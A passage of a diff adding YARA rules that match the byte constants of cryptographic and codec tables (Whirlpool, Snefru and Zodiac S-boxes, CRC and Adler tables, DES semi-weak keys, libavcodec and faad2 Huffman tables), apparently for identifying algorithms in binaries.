fa06061806301e0c368a8a128a249809aeb2b2f2b2f940794be6e6bfe66359d1850e0e380e70361c7e1f1f7c1ff8633ee76262956237f7c455d4d477d4eea3b53aa8a89aa829324d8196966296c4f43152f9f9c3f99b3aef62c5c533c566f697a32525942535b14a1059597959f220b2ab84842a8454ae15d07272d572b7a7e4c53939e439d5dd72ec4c4c2d4c5a6198165e5e655eca3bbc947878fd78e785f09f3838e038ddd870e58c8c0a8c14860598d1d163d1c6b2bf17a5a5aea5410b57e4e2e2afe2434dd9a1616199612ff8c24eb3b3f6b3f1457b422121842115a542349c9c4a9c94d625081e1e781ef0663cee4343114322528661c7c73bc776fc93b1fcfcd7fcb32be54f040410042014082451515951b208a2e399995e99bcc72f256d6da96d4fc4da220d0d340d68391a65fafacffa8335e979dfdf5bdfb684a3697e7ee57ed79bfca9242490243db448193b3bec3bc5d776feabab96ab313d4b9acece1fce3ed181f011114411885522998f8f068f0c8903834e4e254e4a6b9c04b7b7e6b7d1517366ebeb8beb0b60cbe03c3cf03cfdcc78c181813e817cbf1ffd94946a94d4fe3540f7f7fbf7eb0cf31cb9b9deb9a1676f1813134c13985f268b2c2cb02c7d9c5851d3d36bd3d6b8bb05e7e7bbe76b5cd38c6e6ea56e57cbdc39c4c437c46ef395aa03030c03180f061b565645568a13acdc44440d441a49885e7f7fe17fdf9efea0a9a99ea921374f882a2aa82a4d825467bbbbd6bbb16d6b0ac1c123c146e29f8753535153a202a6f1dcdc57dcae8ba5720b0b2c0b582716539d9d4e9d9cd327016c6cad6c47c1d82b3131c43195f562a47474cd7487b9e8f3f6f6fff6e309f115464605460a438c4cacac8aac092645a589891e893c970fb514145014a04428b4e1e1a3e15b42dfba16165816b04e2ca63a3ae83acdd274f76969b9696fd0d20609092409482d12417070dd70a7ade0d7b6b6e2b6d954716fd0d067d0ceb7bd1eeded93ed3b7ec7d6cccc17cc2edb85e2424215422a57846898985a98b4c22d2ca4a4aaa4490e55ed2828a0285d8850755c5c6d5cda31b886f8f8c7f8933fed6b8686228644a411c2 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_atrac_huffcode7__8_byt_63_
+{
+strings:
+	$a0 = { 0008090a0b0c0d0e0f10112425262728292a2b2c2d2e2f3031323368696a6b6c6d6e6f707172737475ecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff0203 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_alaw_decode__16_big_256_
+{
+strings:
+	$a0 = { EA80EB80E880E980EE80EF80EC80ED80E280E380E080E180E680E780E480E580F540F5C0F440F4C0F740F7C0F640F6C0F140F1C0F040F0C0F340F3C0F240F2C0AA00AE00A200A600BA00BE00B200B6008A008E00820086009A009E0092009600D500D700D100D300DD00DF00D900DB00C500C700C100C300CD00CF00C900CB00FEA8FEB8FE88FE98FEE8FEF8FEC8FED8FE28FE38FE08FE18FE68FE78FE48FE58FFA8FFB8FF88FF98FFE8FFF8FFC8FFD8FF28FF38FF08FF18FF68FF78FF48FF58FAA0FAE0FA20FA60FBA0FBE0FB20FB60F8A0F8E0F820F860F9A0F9E0F920F960FD50FD70FD10FD30FDD0FDF0FD90FDB0FC50FC70FC10FC30FCD0FCF0FC90FCB0 }
+
+condition:
+	$a0
+}
+
+	
+rule libdjvu_MMR_wcodes__16_lil_630_
+{
+strings:
+	$a0 = { A00608000000800306000100000E04000200001004000300001604000400001804000500001C04000600001E04000700001305000800001405000900000705000A00000805000B00000406000C00800106000D00001A06000E00801A06000F00001506001000801506001100C00907001200000307001300000207001400C00507001500C00007001600000107001700000A07001800C00A07001900C00407001A00000907001B00000607001C00400008001D00600008001E00400308001F00600308002000400208002100600208002200800208002300A00208002400C00208002500E00208002600000508002700200508002800400508002900600508002A00800508002B00A00508002C00800008002D00A00008002E00400108002F00600108003000400A08003100600A08003200800A08003300A00A08003400800408003500A00408003600000B08003700200B08003800400B08003900600B08003A00400908003B00600908003C00400608003D00600608003E00800608003F00001B05004000001205008000800B0600C000C00D07000001C00608004001E00608008001800C0800C001A00C08000002000D08004002E00C08008002C00C0900C002D00C09000003200D09004003300D09008003400D0900C003500D09000004600D09004004700D09008004800D0900C004900D09000005A00D09004005B00D0900800580090900C005900909000006A00909004006000C06008006B0090900C00620000B00000730000B00400734000B00800724000C00C00726000C00000828000C0040082A000C0080082C000C00C0082E000C00000938000C0040093A000C0080093C000C00C0093E000C00000A00000000FFFF }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab6__16_big_62_
+{
+strings:
+	$a0 = { FFE7FFEDFFF3FFF7FFFBFFFDFFFF003300030023FFFF00320030FFFF00130031FFFDFFFF002200020012FFFDFFFF002100200001FFFF0011FFFF00100000 }
+
+condition:
+	$a0
+}
+
+	
+rule Zodiac_sbox1__8_byt_256_
+{
+strings:
+	$a0 = { 2df37c6d9db52674f29353b0f011ed8378b60316733b1e8e70bd861b477e2456f177884697b1baa3b7100ac537b3c95a28ac64a5ecabaac66795580df89af66e66dc053dd38ac3d8896ae9364943bfebd4969b68a0655d57921fd5715cbb22c1be7bbc9963945f2a61b8343219fdfb1740e6511d41448f29dd0480dee731d67f01a2f739da6f23cafe3ad01cd1303e12a1cd0fe0a8af82592cf57dadb2efc287ce75061302904f2e723385c08dcfa981e2c4272f6c7a9f52e115382bfc2042c708e409555e8c147660ffdfd798fa0b21001af9a6b9e89e624cd99150d2ee18b40784ea5ba4c80ecb48694b4e9c3579454d54e5253c0c4a8b3fcca7db6baef4e3 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_H_26L_H_264_AVC_JVT_14496_10_ff_h264_norm_shift_old__8_byt_128_
+{
+strings:
+	$a0 = { 0706050504040404030303030303030302020202020202020202020202020202010101010101010101010101010101010101010101010101010101010101010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Windows_CryptDecrypt__8_byt_STR_13_
+{
+strings:
+	$a0 = { 43727970744465637279707400 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_CCITT_poly_0x8408__16_lil_refl_False_
+{
+strings:
+	$a0 = { 00000884188c1008389c30182010289478bc7038603068b4402048a458ac5028f8fcf078e070e8f4c060c8e4d8ecd068804088c498cc9048b8dcb058a050a8d4f87df0f9e0f1e875c0e1c865d86dd0e980c18845984d90c9b85db0d9a0d1a85500810805180d1089381d309920912815783d70b960b1683540a14825582d50a9f0fbf87fe877e0f3c867c0e3d0ebd86f884780c390cb984fb0dbb85fa857a0d308070083108b180f309b381f2817209370bb783f683760b3482740a350ab582f08860002100a188e301a389e28962012703a78be68b6603248a64022502a58aef07af8fee8f6e072c8e6c062d06ad8ee88c68042904a98ceb05ab8dea8d6a052e873e0f7f0fff87bd0efd86bc863c0e790cf984b884380c7a853a0d7b0dfb85b108f180b0803008728132097309f381b683360b770bf783b50af582b482340a7100e188a0882000628922016301e389a68b26036703e78ba502e58aa48a24026e8f2e076f07ef8fad06ed8eac8e2c066904e98ca88c28046a8d2a056b05eb8da1888100c00040880201428903898301c603468b078b8703c58a8502c402448a0e074e8f0f8f8f07cd8e8d06cc064c8e098c8904c804488c0a054a8d0b8d8b05ce0f5e871f879f0fdd869d0edc0e5c861984990cd80c58841a0d5a851b859b0dd1809108d00850801209528113819309d60b56831783970bd582950ad40a54821 }
+
+condition:
+	$a0
+}
+
+	
+rule DES_semi_weak_keys__8_byt_96_
+{
+strings:
+	$a0 = { 01fe01fe01fe01fefe01fe01fe01fe011fe01fe00ef10ef1e01fe01ff10ef10e01e001e001f101f1e001e001f101f1011ffe1ffe0efe0efefe1ffe1ffe0efe0e011f011f010e010e1f011f010e010e01e0fee0fef1fef1fefee0fee0fef1fef1 }
+
+condition:
+	$a0
+}
+
+	
+rule Adler_CRC32__0x01c26a37___32_lil_1024_
+{
+strings:
+	$a0 = { 00000000376ac2016ed4840359be4602dca80907ebc2cb06b27c8d0485164f05b851130e8f3bd10fd685970de1ef550c64f91a095393d8080a2d9e0a3d475c0b70a3261c47c9e41d1e77a21f291d601eac0b2f1b9b61ed1ac2dfab18f5b56919c8f23512ff98f713a626b111914c7310145a3c152330fe147a8eb8164de47a17e0464d38d72c8f398e92c93bb9f80b3a3cee443f0b84863e523ac03c6550023d58175e366f7d9c3736c3da3501a9183484bf5731b3d59530ea6bd332dd01113390e56b24a78fa925fe31ef27c95b2d264c4d62237b27a0222299e62015f3242128b4782a1fdeba2b4660fc29710a3e28f41c712dc376b32c9ac8f52eada2372fc08d9a70f7e75871ae591e739933dc721c2593772b4f517672f11774459bd57578dc897e4fb64b7f16080d7d2162cf7ca4748079931e4278caa0047afdcac67bb02ebc6c87447e6ddefa386fe990fa6e6c86b56b5bec776a025231683538f369087faf623f156d6366ab2b6151c1e960d4d7a665e3bd6464ba0322668d69e06720cbd74817a115494e1f534b7975914afc63de4fcb091c4e92b75a4ca5dd984d989ac446aff00647f64e4045c12482444432cd4173580f402ae649421d8c8b435068f154670233553ebc755709d6b7568cc0f853bbaa3a52e2147c50d57ebe51e839e25adf53205b86ed6659b187a4583491eb5d03fb295c5a456f5e6d2fad5f801b35e1b771f7e0eecfb1e2d9a573e35cb33ce66bd9fee73267b8e5050d7ae4384a26ef0f20e4ee569ea2ec61f460ede4e22fe8d388ede98a36abebbd5c69eaf0b813fdc7d2d1fc9e6c97fea90655ff2c101afa1b7ad8fb42c49ef975ae5cf848e900f37f83c2f2263d84f0115746f1944109f4a32bcbf5fa958df7cdff4ff6605d78d95737bad80e89fcda39e33edbbcf571de8b9fb3dfd221f5dde54b37dcd80c6bd7ef66a9d6b6d8efd481b22dd504a462d033cea0d16a70e6d35d1a24d210fe5ec527949cc47e2adac6494018c7cc5657c2fb3c95c3a282d3c195e811c0a8af4dcb9fc58fcac67bc9c8f1110bc9740744cc436d86cd1ad3c0cf2db902ce4096af9177fc6d902e422b921928e9939c3ea696ab546497f2ea2295c580e094f8c7bc9fcfad7e9e9613389ca179fa9d246fb598130577994abb319b7dd1f39a3035898d075f4b8c5ee10d8e698bcf8fec9d808adbf7428b82490489b523c68888649a83bf0e5882e6b01e80d1dadc8154cc938463a651853a1817870d72d586a0d0e2a997ba20a8ce0466aaf96ea4ab7c78ebae4b1229af12ac6fad25c6adac1881f1a72feb33a6765575a4413fb7a5c429f8a0f3433aa1aafd7ca39d97bea2d073c4b5e71906b4bea740b689cd82b70cdbcdb23bb10fb3620f49b155658bb06822d7bb5f4815ba06f653b8319c91b9b48adebc83e01cbdda5e5abfed3498be }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dpcm_sol_table_new__32_lil_64_
+{
+strings:
+	$a0 = { 00000000010000000200000003000000060000000A0000000F0000001500000000000000FFFFFFFFFEFFFFFFFDFFFFFFFAFFFFFFF6FFFFFFF1FFFFFFEBFFFFFF }
+
+condition:
+	$a0
+}
+
+	
+rule Vorbis_FLOOR1_fromdB_LOOKUP__flt32___32_lil_1024_
+{
+strings:
+	$a0 = { 3eb4e4330991f3338bb201343c200a34231a133460a91c34a7d726344baf3134503b3d347087493423a05634b8926434556d7334889f8134fc0b8a349304933469929c3432bfa6343f95b134931fbd34e469c934ad80d6343671e434a649f334888c0135c0f7093506ef1235767b1c35c0a62635377b3135da033d355e4c49353b615635b94f6435fc2573358a79813586e389357cd9923585649c35528ea6353361b13525e8bc35dc2ec935ce41d635412ee4355702f3358f6601364fcf0936f5c31236984d1c36e87526363247313674cc3c365e11493665225636ce0c6436b8de7236975381361cbb893672ae9236af369c36815da636352db136c7b0bc36e4f3c8360103d63660ebe3361ebbf236a2400137eba60937f1981237c91f1c371e4526373d1331371e953c376fd64837a2e35537f7c9633789977237af2d8137be92893774839237e6089c37be2ca63747f9b0377979bc37feb8c83747c4d53792a8e337f873f237c01a0138937e0938f96d123806f21b386214263856df3038d85d3c38929b4838f2a45538338763386e507238d30781386b6a8938825892382adb9b3809fca53868c5b0383b42bc38297ec838a085d538d965e338e82cf238e9f40039465609390e43123951c41b39b5e325397fab3039a2263c39c560483953665539834463396809723901e28039244289399d2d92397bad9b3963cba5399991b0390d0bbc396643c8390b47d5393223e339ede5f1391dcf003a052e093a3018123aa9961b3a15b3253ab777303a7cef3b3a0a26483ac727553ae601633a78c2713a3bbc803ae919893ac602923adb7f9b3acb9aa53ad85db03aefd3bb3ab308c83a8808d53a9fe0e23a079ff13a5ca9003bd005093b5eed113b0f691b3b8482253bfd43303b67b83b3b61eb473b4de9543b5dbf623b9c7b713b7f96803bbaf1883bf9d7913b47529b3b416aa53b272ab03be29cbb3b12cec73b17cad43b209ee23b3558f13ba683003ca7dd083c98c2113c823b1b3c0152253c5410303c61813b3cc8b0473ce5aa543ce87c623cd434713ccf70803c96c9883c3aad913cc0249b3cc539a53c85f6af3ce565bb3c8293c73cb98bd43cb45be23c7911f13cfb5d003d89b5083ddf97113d020e1b3d8d21253db9dc2f3d6d4a3b3d4076473d916c543d853a623d22ee703d2a4b803d7fa1883d8882913d48f79a3d5809a53df2c2af3df82ebb3d0359c73d6d4dd43d5c19e23dd1caf03d5b38003e778d083e336d113e90e01a3e27f1243e2ea92f3e87133b3eca3b473e4d2e543e37f8613e84a7703e8f25803e7379883ee257913edcc99a3ef9d8a43e6d8faf3e1bf8ba3e951ec73e330fd43e17d7e13e3d84f03ec612003f7265083f9342113f2bb31a3fcec0243fb1752f3fb2dc3a3f6501473f1df0533ffbb5613ffb60703f0000803f }
+
+condition:
+	$a0
+}
+
+	
+rule phi_init_freq__32_lil_908_
+{
+strings:
+	$a0 = { 52000000480000002e0000002e000000390000003b0000004b0000004c0000006103000052000000590000004e0000005b000000400000005c0000007e0000006d00000097000000db000000e10000002f0100006d010000860100008101000095010000a2010000a6010000a7010000c4010000880100007a01000026010000ea000000d00000005e000000a80000002b00000021000000340000004700000056000000890000008a000000bb000000dc000000080100005e01000091010000290200001e0200002d02000056020000e00100007c0100005f0100004101000028010000c304000087010000ad0000004900000032000000200000001d0000003a000000c0000000e500000069010000e8010000de0500002a040000310400007a030000de02000056020000a5010000df0000006a00000049000000300000004200000090000000350100000f020000860200003f0300005e0400000505000026070000560200004a010000af0000006a000000220000004d000000c700000028020000520300006b0800009c06000089040000a00200004c010000b1000000450000002a000000090000000f000000360000008300000029010000a202000068040000fa0600002d090000bb030000a0010000960000003000000036000000a00000002d01000043020000b9030000d7080000000700004f040000f7010000ce0000004a000000170000001c00000040000000bf000000d0010000750300008c050000c9070000a208000027020000980000003400000041000000b400000086020000a7090000bb08000071050000b3020000e70000006000000055000000df000000b502000029060000020900009e090000090200008c0000002a0000001901000049030000520b0000100900008d04000076010000560000007e000000d1010000ed04000098090000d70a0000b7020000e40000004e0000003f020000820b0000ee090000e2040000d201000095000000280000000c01000041040000bb090000eb0b000040030000c6000000260000006e00000093020000bc0b0000c0090000a2040000c301000064000000330100007d040000f5090000de0b00001a030000a800000065000000fb020000620e0000d00900000e030000a5000000040000006c000000d4030000190b00004f0d0000770200002300000026000000c2020000ed0e0000050b00004d0200001e00000039000000510300002a0c0000980d0000f401000005000000 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_hw_gain__flt64___64_big_272_
+{
+strings:
+	$a0 = { 3fe2afbfffc604983fe35f00002af31e3fe4147fffc82a593fe4d0c0002481d93fe593ffffdda3e83fe65e40000671443fe72fbfffc604983fe8093fffca501b3fe8ea7fffd958653fe9d3ffffdda3e83feac60000112e0c3febc0ffffd50ce23fecc53fffecac333fedd300000897063feec47fffc82a593fef72bfffce9b9e3fefdc3fffd2e7213ff00000000000003fefddc0001bead33fef760000112e0c3feec93fffca501b3fedd93fffca501b3feca7ffffbb47d03feb38000044b8303fe98c80000ce2893fe7a9000019c5123fe5920000338a243fe34bbfffe860b03fe0db3ffffdda3f3fdc8b7fffae65473fd72280001e10953fd18680008524dc3fc788ffff9054b33fb7a3fffe4152ca }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book1__32_big_972_
+{
+strings:
+	$a0 = { 000000000000000b000007f80000000100000009000001f1000000020000000b000007fd000000030000000a000003f5000000040000000700000068000000050000000a000003f0000000060000000b000007f70000000700000009000001ec000000080000000b000007f5000000090000000a000003f10000000a00000007000000720000000b0000000a000003f40000000c00000007000000740000000d00000005000000110000000e00000007000000760000000f00000009000001eb00000010000000070000006c000000110000000a000003f6000000120000000b000007fc0000001300000009000001e1000000140000000b000007f10000001500000009000001f00000001600000007000000610000001700000009000001f6000000180000000b000007f20000001900000009000001ea0000001a0000000b000007fb0000001b00000009000001f20000001c00000007000000690000001d00000009000001ed0000001e00000007000000770000001f000000050000001700000020000000070000006f0000002100000009000001e60000002200000007000000640000002300000009000001e50000002400000007000000670000002500000005000000150000002600000007000000620000002700000005000000120000002800000001000000000000002900000005000000140000002a00000007000000650000002b00000005000000160000002c000000070000006d0000002d00000009000001e90000002e00000007000000630000002f00000009000001e400000030000000070000006b0000003100000005000000130000003200000007000000710000003300000009000001e30000003400000007000000700000003500000009000001f3000000360000000b000007fe0000003700000009000001e7000000380000000b000007f30000003900000009000001ef0000003a00000007000000600000003b00000009000001ee0000003c0000000b000007f00000003d00000009000001e20000003e0000000b000007fa0000003f0000000a000003f300000040000000070000006a0000004100000009000001e80000004200000007000000750000004300000005000000100000004400000007000000730000004500000009000001f400000046000000070000006e000000470000000a000003f7000000480000000b000007f60000004900000009000001e00000004a0000000b000007f90000004b0000000a000003f20000004c00000007000000660000004d00000009000001f50000004e0000000b000007ff0000004f00000009000001f7000000500000000b000007f4 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_mnt_table__flt32___32_big_512_
+{
+strings:
+	$a0 = { 3f7400003f7200003f7000003f6e00003f6d00003f6b00003f6900003f6700003f6600003f6400003f6200003f6100003f5f00003f5e00003f5c00003f5a00003f5900003f5700003f5600003f5400003f5300003f5200003f5000003f4f00003f4d00003f4c00003f4b00003f4900003f4800003f4700003f4600003f4400003f4300003f4200003f4100003f4000003f3e00003f3d00003f3c00003f3b00003f3a00003f3900003f3800003f3700003f3600003f3500003f3300003f3200003f3100003f3000003f2f00003f2e00003f2e00003f2d00003f2c00003f2b00003f2a00003f2900003f2800003f2700003f2600003f2500003f2400003f2400003f2300003f2200003f2100003f2000003f1f00003f1f00003f1e00003f1d00003f1c00003f1b00003f1b00003f1a00003f1900003f1800003f1800003f1700003f1600003f1500003f1500003f1400003f1300003f1300003f1200003f1100003f1100003f1000003f0f00003f0f00003f0e00003f0d00003f0d00003f0c00003f0b00003f0b00003f0a00003f0a00003f0900003f0800003f0800003f0700003f0700003f0600003f0500003f0500003f0400003f0400003f0300003f0300003f0200003f0200003f0100003f0100003f0000003eff00003efe00003efd00003efc00003efb00003efa00003ef900003ef800003ef700003ef600003ef50000 }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_C2__64_big_2048_
+{
+strings:
+	$a0 = { 30d818186018c078462623238c2305af91b8c6c63fc67ef9cdfbe8e887e8136f13cb878726874ca16d11b8b8dab8a96202090101040108059e0d4f4f214f426e6c9b3636d836adee51ffa6a6a2a65904b90cd2d26fd2debdf70ef5f5f3f5fb06f2967979f979ef80de306f6fa16f5fce3f6d91917e91fcefa4f852525552aa07c04760609d6027fd6535bcbccabc89762b379b9b569baccd018a8e8e028e048c5bd2a3a3b6a37115186c0c0c300c603cf6847b7bf17bff8a6a803535d435b5e13af51d1d741de869ddb3e0e0a7e05347b321d7d77bd7f6ac999cc2c22fc25eed5c432e2eb82e6d9696294b4b314b627ae15dfefedffea321aed55757415782162abd15155415a841eee87777c1779fb66e923737dc37a5ebd79ee5e5b3e57b5623139f9f469f8cd9fd23f0f0e7f0d31794204a4a354a6a7fa944dada4fda9e95b0a258587d58fa258fcfc9c903c906ca527c2929a429558d145a0a0a280a50227f50b1b1feb1e14f5dc9a0a0baa0691ad6146b6bb16b7fda17d985852e855cab673cbdbdcebd8173ba8f5d5d695dd2342090101040108050f507f4f4f7f4f3038bddcbcb0bcb16c07cd33e3ef83eedc60a2d050514052811ce78676781671fe6d597e4e4b7e473534e0227279c2725bb82734141194132580ba78b8b168b2c9d53f6a7a7a6a75101fab27d7de97dcf94374995956e95dcfbad56d8d847d88e9feb70fbfbcbfb8b30c1cdeeee9fee2371f8bb7c7ced7cc791cc716666856617e3a77bdddd53dda68e2eaf17175c17b84b8e45474701470246211a9e9e429e84dc89d4caca0fca1ec55a582d2db42d7599632ebfbfc6bf91790e3f07071c07381b47acadad8ead0123b4b05a5a755aea2f1bef838336836cb566b63333cc3385ffc65c636391633ff2041202020802100a4993aaaa92aa3938e2de7171d971afa88dc6c8c807c80ecf32d119196419c87d923b494939497270af5fd9d943d9869af931f2f2eff2c31ddba8e3e3abe34b48b6b95b5b715be22a0dbc88881a883492293e9a9a529aa4c84c0b262698262dbe64bf3232c8328dfa7d59b0b0fab0e94acff2e9e983e91b6a1e770f0f3c0f7833b733d5d573d5e6a61df480803a8074ba6127bebec2be997c87ebcdcd13cd26de68893434d034bde4903248483d487a75e354ffffdbffab24f48d7a7af57af78f3d6490907a90f4eabe9d5f5f615fc23e403d202080201da0d00f6868bd6867d534ca1a1a681ad07241b7aeae82ae192c757db4b4eab4c95ea8ce54544d549a193b7f93937693ece5442f222288220daac86364648d6407e9ff2af1f1e3f1db12e6cc7373d173bfa2248212124812905a807a40401d403a5d10480808200840289b95c3c32bc356e8c5dfecec97ec337bab4ddbdb4bdb96905fc0a1a1bea1611f07918d8d0e8d1c837ac83d3df43df5c9335b97976697ccf1000000000000000083f9cfcf1bcf36d4566e2b2bac2b4587ece17676c57697b319e68282328264b0b128d6d67fd6fea936c31b1b6c1bd8777774b5b5eeb5c15b43beafaf86af1129d41d6a6ab56a77dfa0ea50505d50ba0d8a5745450945124cfb38f3f3ebf3cb1860ad3030c0309df0c3c4efef9bef2b747eda3f3ffc3fe5c3aac755554955921c59dba2a2b2a27910c9e9eaea8fea0365ca6a656589650fec6903babad2bab9685e4a2f2fbc2f65939d8ec0c027c04ee7a160dede5fdebe8138fc1c1c701ce06ce746fdfdd3fdbb2e9a1f4d4d294d5264397692927292e4e0eafa7575c9758fbc0c3606061806301e09ae8a8a128a2498794bb2b2f2b2f940d185e6e6bfe663591c7e0e0e380e70363ee71f1f7c1ff863c4556262956237f7b53ad4d477d4eea34d81a8a89aa82932315296966296c4f4ef62f9f9c3f99b3a97a3c5c533c566f64a102525942535b1b2ab59597959f22015d084842a8454aee4c57272d572b7a772ec3939e439d5dd98164c4c2d4c5a61bc945e5e655eca3bf09f7878fd78e78570e53838e038ddd805988c8c0a8c1486bf17d1d163d1c6b257e4a5a5aea5410bd9a1e2e2afe2434dc24e616199612ff87b42b3b3f6b3f14542342121842115a525089c9c4a9c94d63cee1e1e781ef066866143431143225293b1c7c73bc776fce54ffcfcd7fcb32b0824040410042014a2e351515951b2082f2599995e99bcc7da226d6da96d4fc41a650d0d340d6839e979fafacffa8335a369dfdf5bdfb684fca97e7ee57ed79b4819242490243db476fe3b3bec3bc5d74b9aabab96ab313d81f0cece1fce3ed1229911114411885503838f8f068f0c899c044e4e254e4a6b7366b7b7e6b7d151cbe0ebeb8beb0b6078c13c3cf03cfdcc1ffd81813e817cbf354094946a94d4fef31cf7f7fbf7eb0c6f18b9b9deb9a167268b13134c13985f58512c2cb02c7d9cbb05d3d36bd3d6b8d38ce7e7bbe76b5cdc396e6ea56e57cb95aac4c437c46ef3061b03030c03180facdc565645568a13885e44440d441a49fea07f7fe17fdf9e4f88a9a99ea9213754672a2aa82a4d826b0abbbbd6bbb16d9f87c1c123c146e2a6f153535153a202a572dcdc57dcae8b16530b0b2c0b582727019d9d4e9d9cd3d82b6c6cad6c47c162a43131c43195f5e8f37474cd7487b9f115f6f6fff6e3098c4c464605460a4345a5acac8aac09260fb589891e893c9728b414145014a044dfbae1e1a3e15b422ca616165816b04e74f73a3ae83acdd2d2066969b9696fd0124109092409482de0d77070dd70a7ad716fb6b6e2b6d954bd1ed0d067d0ceb7c7d6eded93ed3b7e85e2cccc17cc2edb8468424215422a572d2c98985a98b4c255eda4a4aaa4490e50752828a0285d88b8865c5c6d5cda31ed6bf8f8c7f8933f11c28686228644a4 }
+	$a1 = { d8781818281878c026af23236523af05b8f9c6c657c6f97efb6fe8e825e86f13cba187879487a14c1162b8b8d5b862a909050101030105080d6e4f4fd14f6e429bee36365a36eeadff04a6a6f7a604590cbdd2d26bd2bdde0e06f5f502f506fb968079798b7980ef30ce6f6fb16fce5f6def9191ae91effcf8075252f65207aa47fd6060a060fd273576bcbcd9bc768937cd9b9bb09bcdac8a8c8e8e8f8e8c04d215a3a3f8a315716c3c0c0c140c3c60848a7b7b8d7b8aff80e135355f35e1b5f5691d1d271d69e8b347e0e03de0475321acd7d764d7acf69cedc2c25bc2ed5e43962e2e722e966d297a4b4bdd4b7a625d21fefe1ffe21a3d5165757f9571682bd4115153f1541a8e8b677779977b69f92eb37375937eba59e56e5e532e5567b13d99f9fbc9fd98c2317f0f00df017d3207f4a4ade4a7f6a4495dada73da959ea2255858e85825facfcac9c946c9ca067c8d29297b298d555a220a0a1e0a2250504fb1b1ceb14fe1c91aa0a0fda01a6914da6b6bbd6bda7fd9ab85859285ab5c3c73bdbddabd73818f345d5de75d34d290501010301050800703f4f401f403f3ddc0cbcb40cbc016d3c63e3e423ec6ed2d1105050f05112878e66767a967e61f9753e4e431e4537302bb27276927bb2573584141c3415832a79d8b8b808b9d2cf601a7a7f4a70151b2947d7d877d94cf49fb9595a295fbdc569fd8d875d89f8e7030fbfb10fb308bcd71eeee2fee7123bb917c7c847c91c771e36666aa66e3177b8edddd7add8ea6af4b171739174bb845464747c94746021adc9e9ebf9edc84d4c5caca43cac51e58992d2d772d99752e79bfbfdcbf79913f1b070709071b38ac23adadeaad2301b02f5a5aee5a2feaefb583839883b56cb6ff33335533ff855cf26363a563f23f120a020206020a109338aaaae3aa3839dea871719371a8afc6cfc8c845c8cf0ed17d19192b197dc83b704949db4970725f9ad9d976d99a86311df2f20bf21dc3a848e3e338e3484bb92a5b5bed5b2ae2bc928888858892343ec89a9ab39ac8a40bbe26266a26be2dbffa32325632fa8d594ab0b0cdb04ae9f26ae9e926e96a1b77330f0f110f337833a6d5d562d5a6e6f4ba80809d80ba74277cbebedfbe7c99ebdecdcd4acdde2689e434345c34e4bd32754848d848757a5424ffff1cff24ab8d8f7a7a8e7a8ff764ea9090ad90eaf49d3e5f5fe15f3ec23da020206020a01d0fd56868b868d567ca721a1a2e1a72d0b72caeaeefae2c197d5eb4b4c1b45ec9ce195454fc54199a7fe59393a893e5ec2faa22226622aa0d63e96464ac64e9072a12f1f10ef112dbcca273739573a2bf825a121236125a907a5d4040c0405d3a482808081808284095e8c3c358c3e856df7becec29ec7b334d90dbdb70db9096c01fa1a1fea11f6191838d8d8a8d831cc8c93d3d473dc9f55bf19797a497f1cc0000000000000000f9d4cfcf4ccfd4366e872b2b7d2b8745e1b376769a76b397e6b082829b82b06428a9d6d667d6a9fec3771b1b2d1b77d8745bb5b5c2b55bc1be29afafecaf29111ddf6a6abe6adf77ea0d5050f0500dba574c4545cf454c123818f3f308f318cbadf030305030f09dc474efef2cef742bdac33f3f413fc3e5c71c5555ff551c92db10a2a2fba21079e965eaea23ea65036aec6565af65ec0f0368babad3ba68b94a932f2f712f93658ee7c0c05dc0e74e6081dede7fde81befc6c1c1c241c6ce0462efdfd1afd2ebb1f644d4dd74d645276e09292ab92e0e4fabc75759f75bc8f361e06060a061e30ae988a8a838a98244b40b2b2cbb240f98559e6e637e659637e360e0e120e3670e7631f1f211f63f855f76262a662f7373aa3d4d461d4a3ee8132a8a8e5a8322952f49696a796f4c4623af9f916f93a9ba3f6c5c552c5f66610b125256f25b135ab205959eb5920f2d0ae84849184ae54c5a772729672a7b7ecdd39394b39ddd516614c4cd44c615a943b5e5ee25e3bca9f857878887885e7e5d838384838d8dd98868c8c898c861417b2d1d16ed1b2c6e40ba5a5f2a50b41a14de2e23be24d434ef86161a361f82f4245b3b3c8b345f134a521216321a51508d69c9cb99cd694ee661e1e221e66f061524343c5435222b1fcc7c754c7fc764f2bfcfc19fc2bb3241404040c041420e3085151f35108b225c79999b699c7bc22c46d6db76dc44f65390d0d170d39687935fafa13fa35836984dfdf7cdf84b6a99b7e7e827e9bd719b424246c24b43dfed73b3b4d3bd7c59a3dababe0ab3d31f0d1cece4fced13e995511113311558883898f8f8c8f890c046b4e4ed24e6b4a6651b7b7c4b751d1e060ebeb20eb600bc1cc3c3c443cccfdfdbf81819e81bf7c40fe9494a194fed41c0cf7f704f70ceb1867b9b9d6b967a18b5f131335135f98519c2c2c742c9c7d05b8d3d368d3b8d68c5ce7e734e75c6b39cb6e6eb26ecb57aaf3c4c451c4f36e1b0f030305030f18dc135656fa56138a5e494444cc44491aa09e7f7f817f9edf8837a9a9e6a9372167822a2a7e2a824d0a6dbbbbd0bb6db187e2c1c15ec1e246f1025353f55302a2728bdcdc79dc8bae53270b0b1d0b275801d39d9dba9dd39c2bc16c6cb46cc147a4f531315331f595f3b974749c74b9871509f6f607f609e34c434646ca46430aa526acace9ac2609b59789898689973cb44414143c1444a0ba42e1e13ee1425ba64e16163a164eb0f7d23a3a4e3ad2cd06d06969bb69d06f412d09091b092d48d7ad70709070ada76f54b6b6c7b654d91eb7d0d06dd0b7ced67eeded2aed7e3be2dbcccc49ccdb2e68574242c642572a2cc29898b598c2b4ed0ea4a4f1a40e49758828287828885d86315c5ce45c31da6b3ff8f815f83f93c2a486869786a444 }
+
+condition:
+	$a0 and $a1
+}
+
+	
+rule Snefru_S_box_2__32_lil_1024_
+{
+strings:
